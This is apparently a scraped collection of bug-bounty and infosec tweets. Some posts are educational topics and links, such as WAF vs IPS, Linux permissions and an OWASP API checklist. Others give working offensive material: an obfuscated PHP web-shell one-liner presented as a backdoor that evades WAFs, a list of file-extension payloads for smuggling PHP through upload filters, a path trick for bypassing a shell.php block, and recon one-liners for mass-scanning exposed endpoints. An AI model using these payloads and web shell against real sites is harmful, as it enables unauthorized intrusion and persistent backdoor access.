sandraket

[Md Ismail Šojal 🕷️ @0x0SojalSec]

WAF always deletes your backdoor?
try this to bypass it:

<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);

#infosec #bugbountytips #cybersecuritytips

[Anton @therceman]

Extension Bypass V2

🔸 do.php%00.png
🔸 do.php%0A.png
🔸 do.php\n.png
🔸 do.php\u000a.png
🔸 do.php\u560a.png
🔸 do.php%E5%98%8A.png
🔸 do.php#.png
🔸 do.php%23.png
🔸 do.php\u0023.png
🔸 do.php;.png
🔸 do.php%3B.png
🔸 do.php\u003b.png
🔸 do.php\u563b.png
🔸 do.php%E5%98%BB.png

[Shubham Sharma @Shubham_pen]

WAF vs IPS
Credit: https://t.co/TTe55SizW6

#infosec #cybersecurity #pentesting #DataSecurity #CyberSec #bugbountytips #Linux #websecurity #Network #NetworkSecurity #cybersecurityawareness

[Shubham Sharma @Shubham_pen]

Types of Computer memory

#infosec #cybersecurity #pentesting #DataSecurity #CyberSec #bugbountytips #Linux #websecurity #Network #NetworkSecurity #cybersecurityawareness

[Md Ismail Šojal 🕷️ @0x0SojalSec]

File upload WAF bypass : by @0xJin

/?file=shell.php <-- Blocked
/?file===shell.php <-- Bypassed

#infosec #bugbounty #bugbountytips

[ReconOne @ReconOne_bk]

The /server-info can be searched at scale using:

$ httpx -l list.txt -path "/server-info" -fr -mc 200

#attacksurface #recon #recontips

[ReconOne @ReconOne_bk]

Scan your entire Target scope with ffuf and leaky-paths for a good coverage and better speed 👇🔥

Link of the wordlist in the comments.

#recontips #bugbountytips #attacksurface #recon #BugBounty

[ReconOne @ReconOne_bk]

Leaky paths: https://t.co/JBx3H3M466

[Patrik Grobshäuser @ITSecurityguard]

I just found an unbelievable number of unauthorized API endpoints using this 1 liner.

katana -u $url -hl -nos -jc -silent -aff -kf all,robotstxt,sitemapxml -c 150 -fs fqdn |subjs | python3 /opt/JSA/jsa.py |goverview probe -N -c 500 |sort -u -t';' -k2,14 |cut -d ';' -f1

[Simon Bräuer @kirtixs]

Abusing Hop-by-Hop Header to Chain A CRLF Injection Vulnerability https://t.co/IeeTEeOq8Q cc: @nj_dav

[PT SWARM @ptswarm]

🍃 Are you stuck on authorization bypass in a Spring app?

This tip can be helpful to you!

[Shubham Sharma @Shubham_pen]

Linux Permissions

#cybersecurity #pentesting #informationsecurity #hacking #DataSecurity #CyberSec #Hackers #bugbountytips #Linux #websecurity #Network #NetworkSecurity #cybersecurityawareness

[Professor the Hunter @bughuntar]

File Upload Chain

[Nithin 🦹‍♂️ @thebinarybot]

☃️OWASP API Security 2023 Checklist☃️

In this checklist read on different scenarios to test APIs such as

➡️Broken authentication
➡️Server side request forgery
➡️Improper asset management

and much more...

#bugbounty #cybersecurity #infosec

[ϻг_ϻε @steventseeley]

I wrote a blog post regarding the technical details of CVE-2022-31700. It's an interesting case study of attacking custom Java Bean Validators (JSR 380) for RCE: https://t.co/UUAh4bVtf8

The original advisory can be found here: https://t.co/XmIKxAgPJT

[Baikuya @Baikuya3]

@nav1n0x You can try this and change the content type .

https://t.co/P8uSxz2a3E

[Abdalla Abdelrhman @0x2nac0nda]

Bypass using #base64

[LetsDefend @LetsDefendIO]

IPv4 vs IPv6

[PortSwigger Research @PortSwiggerRes]

We found a fancy new way to conceal XSS payloads! Check it out in our cheat sheet:

https://t.co/StgxiKUwLT

[N$🌟 @__nav1n_]

10 TOP #SQLMap tamper-scripts as per #ChatGPT.